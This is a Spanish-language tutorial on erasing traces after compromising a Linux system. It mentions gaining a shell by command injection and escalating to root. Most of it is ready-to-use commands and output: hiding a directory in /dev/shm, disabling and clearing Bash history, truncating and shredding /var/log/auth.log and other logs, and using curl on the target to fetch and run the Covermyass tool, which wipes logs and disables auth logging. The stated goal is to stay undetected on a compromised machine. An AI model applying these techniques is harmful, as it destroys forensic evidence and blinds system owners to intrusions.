Para mostrarte los fundamentos de borrar huellas, primero comprometeremos el objetivo y luego examinaremos algunos métodos utilizados para eliminar el historial de Bash, limpiar registros y mantener la privacidad después de usar sistemas Linux. En este artículo, te mostraremos cómo borrar huellas en sistemas Linux.

Comprometiendo el Objetivo
Lo primero que debemos hacer es utilizar el objetivo. Podemos usar comandos de infiltración para abusar de cómo el servidor maneja los comandos del sistema operativo para obtener una shell. También queremos actualizar nuestra nueva shell a una completamente interactiva. Esto facilitará el trabajo en general y nos permitirá utilizar el autocompletado y el historial del terminal.
Después de esto, podemos elevar nuestros privilegios a root para aprovechar mejor las capacidades del sistema y permanecer sin ser detectados. Esta acción lo dejaremos a tu gusto. Por ejemplo, aquí hay uno JSRAT: Mando y control con JavaScript.
Creación de un Directorio Oculto Fácilmente Eliminable

Con acceso de root, podemos crear un directorio oculto para trabajar y almacenar cualquier script o archivo. Esto no engañará a nadie excepto al administrador novato, pero otro nivel de confidencialidad ciertamente no perjudicará. Primero, busquemos cualquier directorio escribible con el siguiente comando:
┌──(esgeeks㉿kali)-[~]
└─$ find / -perm -222 -type d 2>/dev/null
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/.font-unix
/tmp/.XIM-unix
/dev/mqueue
/dev/shm
/var/tmp
/var/lib/php/sessions
/run/screen
/run/lockPodemos crear un directorio oculto con el comando mkdir y colocando un punto antes del nombre:
# mkdir /dev/shm/.secretoSi ahora listamos el contenido de /dev/shm, no veremos nada:
┌──(esgeeks㉿kali)-[~]
└─$ ls -l /dev/shm/
total 0Solo cuando usamos el interruptor -a para mostrar todos los archivos y directorios, aparecerá:
┌──(esgeeks㉿kali)-[~]
└─$ ls -la /dev/shm/
total 0
drwxrwxrwt 3 root root 60 dic 1 12:00 .
drwxr-xr-x 17 root root 3420 dic 1 11:50 ..
drwxr-xr-x 2 esgeeks esgeeks 40 dic 1 12:00 .secretoY para eliminar el directorio después de terminar de trabajar en la máquina, utiliza el comando rmdir:
# rmdir /dev/shm/.secreto Borrando el Historial de Bash
Bash almacena la lista de comandos utilizados en la sesión actual en la memoria, por lo que es importante limpiarlo para borrar huellas. Podemos revisar el historial actual con el comando history:
esgeeks㉿kali:/# historyLos comandos se escriben en la variable de entorno HISTFILE, que suele ser .bash_history. Podemos repetir esto para ver la ubicación:
┌──(esgeeks㉿kali)-[~]
└─$ echo $HISTFILE
/home/esgeeks/.zsh_historyPodemos utilizar el comando unset para eliminar una variable:
# unset HISTFILEEntonces, cuando repetimos esto de nuevo, no aparece nada:
# echo $HISTFILETambién podemos asegurarnos de que el historial de comandos no se guarde enviándolo a /dev/null. Establece la variable para ello:
# HISTFILE=/dev/nullO haz lo mismo con el comando export:
# export HISTFILE=/dev/nullY ahora el historial se enviará a /dev/null (a ninguna parte):
┌──(esgeeks㉿kali)-[~]
└─$ echo $HISTFILE
/dev/nullPodemos establecer la cantidad de comandos que se almacenarán durante la sesión actual en 0, utilizando la variable HISTSIZE:
# HISTSIZE=0Como alternativa, utiliza el comando export:
# export HISTSIZE=0También podemos cambiar la cantidad permitida de líneas en el archivo de historial utilizando la variable HISTFILESIZE. Establece este valor en 0:
# HISTFILESIZE=0O con export:
# export HISTFILESIZE=0El comando set también se puede utilizar para cambiar los parámetros de la shell. Para desactivar la opción de historial, utiliza el siguiente comando:
# set +o historyY para volver a activarlo:
# set -o historyDe la misma manera, el comando shopt se puede usar para cambiar los parámetros de la shell. Para desactivar el historial, utiliza el siguiente comando:
# shopt -ou historyY para volver a activarlo:
# shopt -os historyCuando ejecutamos comandos en el sistema objetivo, a veces podemos evitar que se guarden en el historial comenzando el comando con un espacio inicial:
# cat /etc/passwdEste método no funciona siempre y depende del sistema. También podemos simplemente borrar el historial con la opción -c:
# history -cPara asegurarnos de que los cambios se guarden en el disco, utiliza la opción -w:
# history -wEsto borra el historial solo para la sesión actual. Para asegurarnos de que el historial se borre por completo al salir de la sesión, utilizamos el siguiente comando:
# cat /dev/null > ~/.bash_history && history -c && exitTambién podemos utilizar el comando kill para salir de la sesión sin guardar el historial:
# kill -9 $$Limpieza de Archivos de Registro
Además del historial de Bash, también es necesario borrar archivos de registro para permanecer desapercibido. Aquí hay algunos archivos de registro comunes y su contenido:

/var/log/auth.log Authentication
/var/log/cron.log Cron Jobs
/var/log/maillog Mail
/var/log/httpd ApachePor supuesto, podríamos simplemente eliminar el registro con el comando rm:
# rm /var/log/auth.logPero esto probablemente levantaría sospechas, así que es mejor limpiar el archivo en lugar de borrarlo por completo. Podemos usar el comando truncate para reducir el tamaño a 0:
# truncate -s 0 /var/log/auth.logTen en cuenta que la función de truncar no siempre está presente en todos los sistemas.
Podemos hacer lo mismo sin imprimir nada en el archivo:
# echo '' > /var/log/auth.logTambién podemos usar > para limpiar el archivo:
# > /var/log/auth.logTambién podemos enviarlo a /dev/null:
# cat /dev/null > /var/log/auth.logO utilizar el comando tee:
# true | tee /var/log/auth.logTambién podemos usar el comando dd para no escribir nada en el archivo de registro:
┌──(esgeeks㉿kali)-[~]
└─$ sudo dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes copied, 0.000371833 s, 0.0 kB/sEl comando shred se puede utilizar para sobrescribir el archivo con datos binarios sin sentido:
# shred /var/log/auth.logIncluso podemos agregar -zu para truncar el archivo y sobrescribirlo con ceros para ocultar las huellas de la destrucción:
# shred -zu /var/log/auth.logHerramientas para Verificar la Limpieza de Evidencias
Para aumentar la probabilidad de que cualquier actividad en el objetivo pase desapercibida, podemos usar una herramienta que garantice que todo se borre. Covermyass es un script que automatiza la mayor parte de los procesos que ya hemos revisado, incluida la limpieza de archivos de registro y la desactivación del historial de Bash.
https://github.com/sundowndev/covermyassPodemos obtener el script desde GitHub usando Curl (siempre que tengamos acceso a Internet en el objetivo; de lo contrario, tendremos que transferirlo manualmente):
curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o ./covermyassVe a un directorio con permisos de escritura y usa chmod para hacerlo ejecutable:
chmod +x ./covermyassA continuación, podemos ejecutarlo:
# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>Se nos da un prompt personalizado con varias opciones para elegir. Elijamos la primera para borrar los registros:
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.También podemos desactivar Bash y el historial de inicio de sesión con la opción 2:
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.Y si necesitas borrar todo urgentemente, simplemente añade now al comando:
# ./covermyass now
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.Conclusión
Hoy exploramos diversos métodos para ocultar nuestras acciones y permanecer sin ser detectados en una máquina comprometida. Revisamos maneras de desactivar y borrar el historial de Bash, métodos para limpiar los archivos de registro, y utilizamos la herramienta Covermyass para asegurarnos de que nuestra actividad en el objetivo fuera borrada.
Aunque existen otras formas de eliminar ciertos rastros de un ataque, como el uso de Metasploit, scripts de shell, o realizar estas acciones en una máquina Windows comprometida, lo mencionado anteriormente debería ser suficiente para una máquina Linux básica.


